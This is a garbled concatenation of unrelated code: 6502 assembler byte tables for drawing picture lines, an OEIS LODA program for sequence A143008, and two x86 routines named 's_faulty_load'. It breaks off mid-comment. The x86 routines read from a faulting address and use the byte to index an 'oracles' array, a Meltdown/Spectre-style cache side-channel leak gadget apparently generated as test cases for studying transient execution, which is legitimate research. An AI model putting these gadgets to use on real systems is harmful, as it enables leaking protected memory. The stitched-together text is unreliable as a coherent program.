$A2 !byte $AA !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $CD !byte $A8 !byte $88 !byte $4E !byte $00 !byte $8B !byte $C9 !byte $0A !byte $C9 !byte $A5 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl9 ; 42 bytes to 34 ; 55 55 5A AA AA AA AA AA AA AA A8 00 00 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $5A !byte $A2 !byte $AA !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $C9 !byte $A8 !byte $4E !byte $00 !byte $8B !byte $C9 !byte $0A !byte $C9 !byte $A5 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl10 ; 42 bytes to 36 ; 55 55 5A AA AA AA AA AA AA AA AA A0 00 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $5A !byte $C9 !byte $AA !byte $A2 !byte $AA !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $C9 !byte $A0 !byte $CD !byte $00 !byte $8B !byte $C9 !byte $0A !byte $C9 !byte $A5 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl11 ; 42 bytes to 34 ; 55 55 5A AA AA AA AA AA AA AA AA AA 00 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $5A !byte $C9 !byte $AA !byte $A2 !byte $AA !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $4E !byte $AA !byte $82 !byte $C9 !byte $0A !byte $C9 !byte $A5 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl12 ; 42 bytes to 35 ; 55 55 5A AA AA AA AA AA A5 5A AA AA 80 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $A2 !byte $5A !byte $A9 !byte $AA !byte $8D !byte $AA !byte $02 !byte $8D !byte $AA !byte $02 !byte $A2 !byte $A5 !byte $C9 !byte $5A !byte $8D !byte $AA !byte $02 !byte $CD !byte $80 !byte $8B !byte $8E !byte $0A !byte $02 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl13 ; 42 bytes to 34 ; 55 55 5A AA AA AA AA A9 55 55 6A AA A0 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $5A !byte $A9 !byte $AA !byte $EA !byte $AA !byte $AA !byte $AA !byte $A9 !byte $55 !byte $C9 !byte $55 !byte $8E !byte $6A !byte $02 !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $C9 !byte $0A !byte $8D !byte $A5 !byte $02 !byte $8D !byte $55 !byte $02 !byte $8D !byte $55 !byte $02 jmp linedone picl14 ; 42 bytes to 36 ; 55 55 5A AA AA AA AA 95 55 55 56 AA A0 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $A2 !byte $55 !byte $C9 !byte $5A !byte $C9 !byte $AA !byte $A9 !byte $AA !byte $8D !byte $AA !byte $02 !byte $C9 !byte $95 !byte $8E !byte $55 !byte $02 !byte $8D !byte $56 !byte $02 !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $C9 !byte $0A !byte $8E !byte $A5 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl15 ; 42 bytes to 34 ; 55 55 5A AA AA AA A9 55 55 55 55 6A A0 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $5A !byte $EA !byte $AA !byte $AA !byte $AA !byte $A9 !byte $55 !byte $C9 !byte $55 !byte $8D !byte $55 !byte $02 !byte $C9 !byte $6A !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $C9 !byte $0A !byte $8D !byte $A5 !byte $02 !byte $8D !byte $55 !byte $02 !byte $8D !byte $55 !byte $02 jmp linedone picl16 ; 42 bytes to 36 ; 55 55 5A AA AA AA A5 55 55 55 55 5A A0 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $A2 !byte $5A !byte $A9 !byte $AA !byte $8D !byte $AA !byte $02 !byte $C9 !byte $A5 !byte $A9 !byte $55 !byte $8D !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $C9 !byte $0A !byte $8D !byte $A5 !byte $02 !byte $8D !byte $55 !byte $02 !byte $8D !byte $55 !byte $02 jmp linedone picl17 ; 42 bytes to 36 ; 55 55 56 AA AA AA 95 55 55 55 55 5A A0 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $A2 !byte $55 !byte $C9 !byte $56 !byte $A9 !byte $AA !byte $8D !byte $AA !byte $02 !byte $C9 !byte $95 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $5A !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $C9 !byte $0A !byte $8E !byte $A5 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl18 ; 42 bytes to 33 ; 55 55 55 6A AA A9 55 55 55 55 55 5A A0 00 0A A5 55 55 55 55 55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $EA !byte $6A !byte $AA !byte $A9 !byte $55 !byte $8D !byte $55 !byte $02 !byte $8D !byte $55 !byte $02 !byte $C9 !byte $5A !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $C9 !byte $0A !byte $8D !byte $A5 !byte $02 !byte $8D !byte $55 !byte $02 !byte $8D !byte $55 !byte $02 jmp linedone picl19 ; 42 bytes to 34 ; 55 55 55 55 55 55 55 55 55 55 55 6A A0 00 0A A5 55 55 55 55 55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $6A !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $C9 !byte $0A !byte $8E !byte $A5 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl20 ; 42 bytes to 35 ; 55 55 55 55 55 55 55 55 55 55 56 AA A0 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $56 !byte $C9 !byte $AA !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $C9 !byte $0A !byte $8E !byte $A5 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl21 ; 42 bytes to 34 ; 55 55 55 55 55 55 55 55 55 55 6A AA 80 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $6A !byte $C9 !byte $AA !byte $CD !byte $80 !byte $8B !byte $C9 !byte $0A !byte $8E !byte $A5 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl22 ; 42 bytes to 32 ; 55 55 55 55 55 55 55 55 55 5A AA AA 00 00 0A A5 55 55 55 55 55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $5A !byte $C9 !byte $AA !byte $4E !byte $AA !byte $82 !byte $C9 !byte $0A !byte $8E !byte $A5 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl23 ; 42 bytes to 36 ; 55 55 5D 55 55 55 55 55 5A AA AA A0 00 00 2A A5 55 5D 5D D5 55 !byte $C9 !byte $55 !byte $A2 !byte $55 !byte $8E !byte $5D !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $5A !byte $C9 !byte $AA !byte $C9 !byte $AA !byte $C9 !byte $A0 !byte $CD !byte $00 !byte $8B !byte $C9 !byte $2A !byte $8E !byte $A5 !byte $02 !byte $C9 !byte $5D !byte $C9 !byte $5D !byte $8E !byte $D5 !byte $02 jmp linedone picl24 ; 42 bytes to 35 ; 75 75 5D 75 55 5D 55 55 5A AA A8 00 00 00 AA A5 55 DD 5D D5 D5 !byte $C9 !byte $75 !byte $A2 !byte $75 !byte $8E !byte $5D !byte $02 !byte $A2 !byte $55 !byte $C9 !byte $5D !byte $8E !byte $55 !byte $02 !byte $C9 !byte $5A !byte $A9 !byte $AA !byte $4E !byte $A8 !byte $88 !byte $8D !byte $00 !byte $02 !byte $8E !byte $A5 !byte $02 !byte $C9 !byte $DD !byte $C9 !byte $5D !byte $C9 !byte $D5 !byte $C9 !byte $D5 jmp linedone picl25 ; 42 bytes to 35 ; 75 75 5D 75 55 DD DD 55 5A AA 80 00 00 0A AA 95 55 DD 5D D5 D5 !byte $C9 !byte $75 !byte $A2 !byte $75 !byte $8E !byte $5D !byte $02 !byte $A2 !byte $55 !byte $C9 !byte $DD !byte $8E !byte $DD !byte $02 !byte $C9 !byte $5A !byte $A9 !byte $AA !byte $4E !byte $80 !byte $8B !byte $8D !byte $0A !byte $02 !byte $8E !byte $95 !byte $02 !byte $C9 !byte $DD !byte $C9 !byte $5D !byte $C9 !byte $D5 !byte $C9 !byte $D5 jmp linedone picl26 ; 42 bytes to 28 ; 00 80 00 00 00 FF FF FF FF FF FF FF FF FF FE 80 00 00 80 00 01 !byte $C9 !byte $00 !byte $C9 !byte $80 !byte $4E !byte $00 !byte $8B !byte $CD !byte $FF !byte $8D !byte $CD !byte $FF !byte $8D !byte $CD !byte $FF !byte $8D !byte $CD !byte $FF !byte $8D !byte $CD !byte $FF !byte $86 !byte $4E !byte $80 !byte $8B !byte $EE !byte $80 !byte $8B jmp linedone picl27 ; 42 bytes to 36 ; 00 80 02 80 00 03 FF FF FF FF FF FF FF FF FA A0 00 02 A0 00 01 !byte $C9 !byte $00 !byte $C9 !byte $80 !byte $C9 !byte $02 !byte $CD !byte $80 !byte $8B !byte $C9 !byte $03 !byte $CD !byte $FF !byte $8D !byte $CD !byte $FF !byte $8D !byte $CD !byte $FF !byte $8D !byte $CD !byte $FF !byte $8D !byte $C9 !byte $FA !byte $C9 !byte $A0 !byte $A2 !byte $00 !byte $C9 !byte $02 !byte $8E !byte $A0 !byte $02 !byte $C9 !byte $01 jmp linedone picl28 ; 42 bytes to 30 ; 00 C0 0A A0 00 02 0F FF FF FF FE FF FF FF FF FF 80 00 F0 00 01 !byte $A2 !byte $00 !byte $EA !byte $C0 !byte $0A !byte $8E !byte $A0 !byte $02 !byte $C9 !byte $02 !byte $C9 !byte $0F !byte $CD !byte $FF !byte $8D !byte $EE !byte $FF !byte $86 !byte $CD !byte $FF !byte $8D !byte $CD !byte $FF !byte $8D !byte $8E !byte $80 !byte $02 !byte $EE !byte $F0 !byte $88 jmp linedone picl29 ; 42 bytes to 38 ; 55 54 0F FC 00 02 00 3F FB FF FA FF FF EF FF FE A0 00 00 05 55 !byte $C9 !byte $55 !byte $C9 !byte $54 !byte $C9 !byte $0F !byte $C9 !byte $FC !byte $C9 !byte $00 !byte $CD !byte $02 !byte $8B !byte $C9 !byte $3F !byte $C9 !byte $FB !byte $C9 !byte $FF !byte $C9 !byte $FA !byte $CD !byte $FF !byte $8D !byte $C9 !byte $EF !byte $CD !byte $FF !byte $86 !byte $C9 !byte $A0 !byte $CD !byte $00 !byte $8B !byte $C9 !byte $05 !byte $C9 !byte $55 jmp linedone picl30 ; 42 bytes to 37 ; 55 55 55 FF 00 0A 81 03 EA FF FF FF FF AB FF FE A0 00 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $CD !byte $FF !byte $89 !byte $C9 !byte $0A !byte $C9 !byte $81 !byte $C9 !byte $03 !byte $C9 !byte $EA !byte $CD !byte $FF !byte $8D !byte $CD !byte $FF !byte $8D !byte $C9 !byte $AB !byte $CD !byte $FF !byte $86 !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 jmp linedone picl31 ; 42 bytes to 31 ; 55 55 55 55 00 03 F0 00 0F C0 00 00 00 A8 00 00 FC 15 55 55 55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $CD !byte $55 !byte $82 !byte $C9 !byte $03 !byte $CD !byte $F0 !byte $88 !byte $C9 !byte $0F !byte $C9 !byte $C0 !byte $4E !byte $00 !byte $8B !byte $4E !byte $A8 !byte $88 !byte $C9 !byte $FC !byte $8E !byte $15 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl32 ; 42 bytes to 29 ; 55 55 55 55 55 54 3C 00 00 00 00 00 00 3F 00 01 55 55 55 55 55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $54 !byte $C9 !byte $3C !byte $4E !byte $00 !byte $8B !byte $4E !byte $00 !byte $8B !byte $EE !byte $3F !byte $8A !byte $C9 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl33 ; 42 bytes to 30 ; 55 55 55 55 55 55 55 54 00 00 00 00 00 00 55 55 55 55 55 55 55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $54 !byte $4E !byte $00 !byte $8B !byte $4E !byte $00 !byte $8B !byte $C9 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl34 ; 42 bytes to 33 ; 55 55 55 55 55 55 55 55 55 54 00 00 15 55 55 55 55 55 55 55 55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $54 !byte $CD !byte $00 !byte $8B !byte $C9 !byte $15 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl35 ; 42 bytes to 35 ; 54 03 40 03 40 35 03 50 0D 00 C0 30 0D 0D 50 34 03 40 D0 0D 55 !byte $AE !byte $54 !byte $8B !byte $A9 !byte $40 !byte $8D !byte $03 !byte $02 !byte $8E !byte $35 !byte $02 !byte $A2 !byte $50 !byte $A2 !byte $0D !byte $C9 !byte $00 !byte $EA !byte $C0 !byte $30 !byte $8E !byte $0D !byte $02 !byte $C9 !byte $50 !byte $C9 !byte $34 !byte $8D !byte $03 !byte $02 !byte $8E !byte $D0 !byte $02 !byte $C9 !byte $55 jmp linedone picl36 ; 42 bytes to 38 ; 55 0F 0C 30 C3 0C 30 C3 FC 3F D0 F0 C3 0D 43 0D 0F 0C 30 C3 55 !byte $C9 !byte $55 !byte $C9 !byte $0F !byte $C9 !byte $0C !byte $C9 !byte $30 !byte $A2 !byte $C3 !byte $C9 !byte $0C !byte $8E !byte $30 !byte $02 !byte $C9 !byte $FC !byte $C9 !byte $3F !byte $C9 !byte $D0 !byte $8E !byte $F0 !byte $02 !byte $C9 !byte $0D !byte $C9 !byte $43 !byte $CD !byte $0D !byte $8F !byte $C9 !byte $0C !byte $8E !byte $30 !byte $02 !byte $C9 !byte $55 jmp linedone picl37 ; 42 bytes to 38 ; 55 0D 0C 30 C3 0C 30 C3 54 35 50 D0 C3 0D 43 0D 0D 0C 30 C3 55 !byte $C9 !byte $55 !byte $C9 !byte $0D !byte $C9 !byte $0C !byte $C9 !byte $30 !byte $A2 !byte $C3 !byte $C9 !byte $0C !byte $8E !byte $30 !byte $02 !byte $C9 !byte $54 !byte $C9 !byte $35 !byte $C9 !byte $50 !byte $8E !byte $D0 !byte $02 !byte $A9 !byte $0D !byte $C9 !byte $43 !byte $8D !byte $0D !byte $02 !byte $C9 !byte $0C !byte $8E !byte $30 !byte $02 !byte $C9 !byte $55 jmp linedone picl38 ; 42 bytes to 38 ; 55 0D 0C 30 C0 3C 30 D0 35 03 50 D0 0F 0D 40 0D 0D 0C 30 0F 55 !byte $C9 !byte $55 !byte $C9 !byte $0D !byte $C9 !byte $0C !byte $C9 !byte $30 !byte $EA !byte $C0 !byte $3C !byte $C9 !byte $30 !byte $A2 !byte $D0 !byte $C9 !byte $35 !byte $C9 !byte $03 !byte $8E !byte $50 !byte $02 !byte $A2 !byte $0F !byte $A9 !byte $0D !byte $C9 !byte $40 !byte $8D !byte $0D !byte $02 !byte $C9 !byte $0C !byte $8E !byte $30 !byte $94 !byte $C9 !byte $55 jmp linedone picl39 ; 42 bytes to 38 ; 55 0D 0C 30 C3 F4 30 D5 0D 50 D0 D0 C3 0D 43 0D 0D 0C 30 C3 55 !byte $C9 !byte $55 !byte $C9 !byte $0D !byte $C9 !byte $0C !byte $A2 !byte $30 !byte $C9 !byte $C3 !byte $8E !byte $F4 !byte $02 !byte $C9 !byte $D5 !byte $A9 !byte $0D !byte $C9 !byte $50 !byte $C9 !byte $D0 !byte $C9 !byte $D0 !byte $8D !byte $C3 !byte $02 !byte $C9 !byte $43 !byte $8D !byte $0D !byte $02 !byte $8E !byte $0C !byte $02 !byte $C9 !byte $C3 !byte $C9 !byte $55 jmp linedone picl40 ; 42 bytes to 38 ; 55 0D 0C 30 C3 54 30 D5 0D 50 D0 D0 C3 0D 43 0D 0D 0C 30 C3 55 !byte $C9 !byte $55 !byte $C9 !byte $0D !byte $C9 !byte $0C !byte $A2 !byte $30 !byte $C9 !byte $C3 !byte $8E !byte $54 !byte $02 !byte $C9 !byte $D5 !byte $A9 !byte $0D !byte $C9 !byte $50 !byte $C9 !byte $D0 !byte $C9 !byte $D0 !byte $8D !byte $C3 !byte $02 !byte $C9 !byte $43 !byte $8D !byte $0D !byte $02 !byte $8E !byte $0C !byte $02 !byte $C9 !byte $C3 !byte $C9 !byte $55 jmp linedone picl41 ; 42 bytes to 36 ; 54 03 0C 30 C3 55 03 C0 3C 03 C0 30 0F 00 C3 0D 0D 40 F0 C3 55 !byte $CD !byte $54 !byte $8B !byte $C9 !byte $0C !byte $C9 !byte $30 !byte $C9 !byte $C3 !byte $CD !byte $55 !byte $8B !byte $EA !byte $C0 !byte $3C !byte $C9 !byte $03 !byte $EA !byte $C0 !byte $30 !byte $CD !byte $0F !byte $8A !byte $A2 !byte $C3 !byte $C9 !byte $0D !byte $C9 !byte $0D !byte $C9 !byte $40 !byte $8E !byte $F0 !byte $02 !byte $C9 !byte $55 jmp linedone picl42 ; 42 bytes to 32 ; 57 FF FF FF FF 55 FF 7F F7 FF 7F FF F5 FF FF FD FD 7F DF FF 55 !byte $C9 !byte $57 !byte $CD !byte $FF !byte $8D !byte $CD !byte $FF !byte $8D !byte $4E !byte $55 !byte $86 !byte $4E !byte $F7 !byte $8F !byte $C9 !byte $FF !byte $C9 !byte $F5 !byte $CD !byte $FF !byte $8D !byte $C9 !byte $FD !byte $C9 !byte $FD !byte $C9 !byte $7F !byte $CD !byte $DF !byte $8C !byte $C9 !byte $55 jmp linedone picl43 ; 42 bytes to 27 ; 00 00 00 00 00 01 00 00 00 01 00 00 00 0C 00 00 00 58 84 04 08 !byte $4E !byte $00 !byte $8B !byte $EE !byte $00 !byte $8B !byte $C9 !byte $00 !byte $EE !byte $00 !byte $8B !byte $4E !byte $00 !byte $8B !byte $C9 !byte $0C !byte $4E !byte $00 !byte $8B !byte $C9 !byte $58 !byte $C9 !byte $84 !byte $C9 !byte $04 !byte $C9 !byte $08 jmp linedone ; total save: 355 bytes restofdesign: lda #7*4+128 sta $f0 lda #0 sta $fd .ml79 jsr mainloop_with_countdown ldx $fd lda #<picl0 sta lineptrs,x lda #>picl0 sta lineptrs+1,x inc $fd inc $fd bne .ml79 .poh jsr mainloop ;_with_countdown lda $fd lsr lsr lsr lsr lsr ; bpl .pihh sta $900e ;.pihh ldx $f0 ; cpx #7*4 ; bne .poh dec $fd bne .poh lda #12 sta $9000 jmp loader_loop
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi // Store lea addresses_UC+0x1727b, %r12 nop nop dec %r14 mov $0x5152535455565758, %r8 movq %r8, %xmm2 movups %xmm2, (%r12) nop nop nop nop cmp $371, %r12 // REPMOV lea addresses_A+0xe80b, %rsi lea addresses_A+0x1dbcb, %rdi xor %rbp, %rbp mov $27, %rcx rep movsb nop nop nop nop xor %r14, %r14 // Store mov $0x79c25900000007b9, %r12 nop dec %rcx movb $0x51, (%r12) nop nop nop nop nop and %rbp, %rbp // Faulty Load mov $0x72c945000000000b, %rsi nop nop nop xor %rax, %rax mov (%rsi), %r14 lea oracles, %r8 and $0xff, %r14 shlq $12, %r14 mov (%r8,%r14,1), %r14 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'00': 5781} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A143008: Crystal ball sequence for the A2 x A2 lattice. ; 1,13,73,253,661,1441,2773,4873,7993,12421,18481,26533,36973,50233,66781,87121,111793,141373,176473,217741,265861,321553,385573,458713,541801,635701,741313,859573,991453,1137961,1300141,1479073,1675873,1891693,2127721 add $0,1 bin $0,2 add $0,1 bin $0,2 mov $1,$0 mul $1,12 add $1,1
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %rax push %rbp push %rbx push %rsi lea addresses_UC_ht+0x3bd4, %rax clflush (%rax) nop nop nop nop nop and $50805, %r15 movb (%rax), %r12b add %r13, %r13 lea addresses_normal_ht+0x164d4, %rbp nop nop nop xor $23640, %rsi movl $0x61626364, (%rbp) nop add $63738, %rsi lea addresses_WT_ht+0x7c54, %r13 xor %rax, %rax and $0xffffffffffffffc0, %r13 vmovaps (%r13), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %rsi nop nop nop nop sub $37641, %rbx lea addresses_D_ht+0x954, %r15 nop nop nop nop nop xor %r13, %r13 mov (%r15), %r12w sub $26051, %r13 lea addresses_WC_ht+0x15154, %r12 nop xor %rsi, %rsi movb $0x61, (%r12) sub $7838, %rsi lea addresses_WT_ht+0x1a9a6, %r12 dec %rax movups (%r12), %xmm5 vpextrq $0, %xmm5, %rsi nop nop nop nop xor %rbx, %rbx lea addresses_D_ht+0xdc54, %rsi nop nop nop nop add %rbp, %rbp mov (%rsi), %r15 nop nop nop nop nop sub $59632, %r12 lea addresses_normal_ht+0x570f, %r13 nop nop nop nop xor %rax, %rax movb (%r13), %r15b nop nop nop nop add %rbx, %rbx lea addresses_A_ht+0x7424, %rax nop add $27470, %r15 movb $0x61, (%rax) nop nop nop nop nop sub $58000, %r12 pop %rsi pop %rbx pop %rbp pop %rax pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r9 push %rbp push %rbx push %rdi push %rdx // Store lea addresses_WT+0x146d4, %r15 nop nop nop nop nop and %rdi, %rdi movl $0x51525354, (%r15) nop nop nop xor $26870, %r15 // Load lea addresses_PSE+0x1f0ec, %rdx clflush (%rdx) nop sub %r14, %r14 movups (%rdx), %xmm0 vpextrq $1, %xmm0, %rbx nop nop nop nop nop add $47261, %r15 // Store lea addresses_D+0x6c54, %r9 nop add $29857, %r15 mov $0x5152535455565758, %rbx movq %rbx, (%r9) nop nop nop inc %rbx // Store lea addresses_WT+0x2b9, %r14 clflush (%r14) nop nop sub %rbx, %rbx mov $0x5152535455565758, %rdx movq %rdx, (%r14) nop nop nop nop sub $13453, %r14 // Store lea addresses_PSE+0x172c, %rdi nop nop nop add $30910, %r9 mov $0x5152535455565758, %rbp movq %rbp, (%rdi) nop nop nop nop dec %rdi // Faulty Load mov $0x23f1490000000054, %r9 nop nop nop nop cmp %r15, %r15 movb (%r9), %r14b lea oracles, %r15 and $0xff, %r14 shlq $12, %r14 mov (%r15,%r14,1), %r14 pop %rdx pop %rdi pop %rbx pop %rbp pop %r9 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT', 